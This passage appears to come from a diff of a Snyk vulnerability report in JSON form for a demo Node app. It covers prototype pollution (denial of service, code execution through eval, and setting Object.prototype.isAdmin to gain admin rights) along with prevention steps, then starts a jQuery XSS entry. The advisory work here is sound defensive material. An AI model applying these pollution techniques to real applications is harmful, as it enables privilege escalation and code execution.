DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 9.8, + "security-severity": "9.8" + } + }, + { + "id": "SNYK-JS-JQUERY-565129", + "shortDescription": { + "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jquery" + }, + "fullDescription": { + "text": "(CVE-2020-11023) jquery@2.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jquery\n* Introduced through: goof@1.0.1 and jquery@2.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › jquery@2.2.4\n# Overview\n\n[jquery](https://www.npmjs.com/package/jquery) is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.\n\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS)\nPassing HTML containing `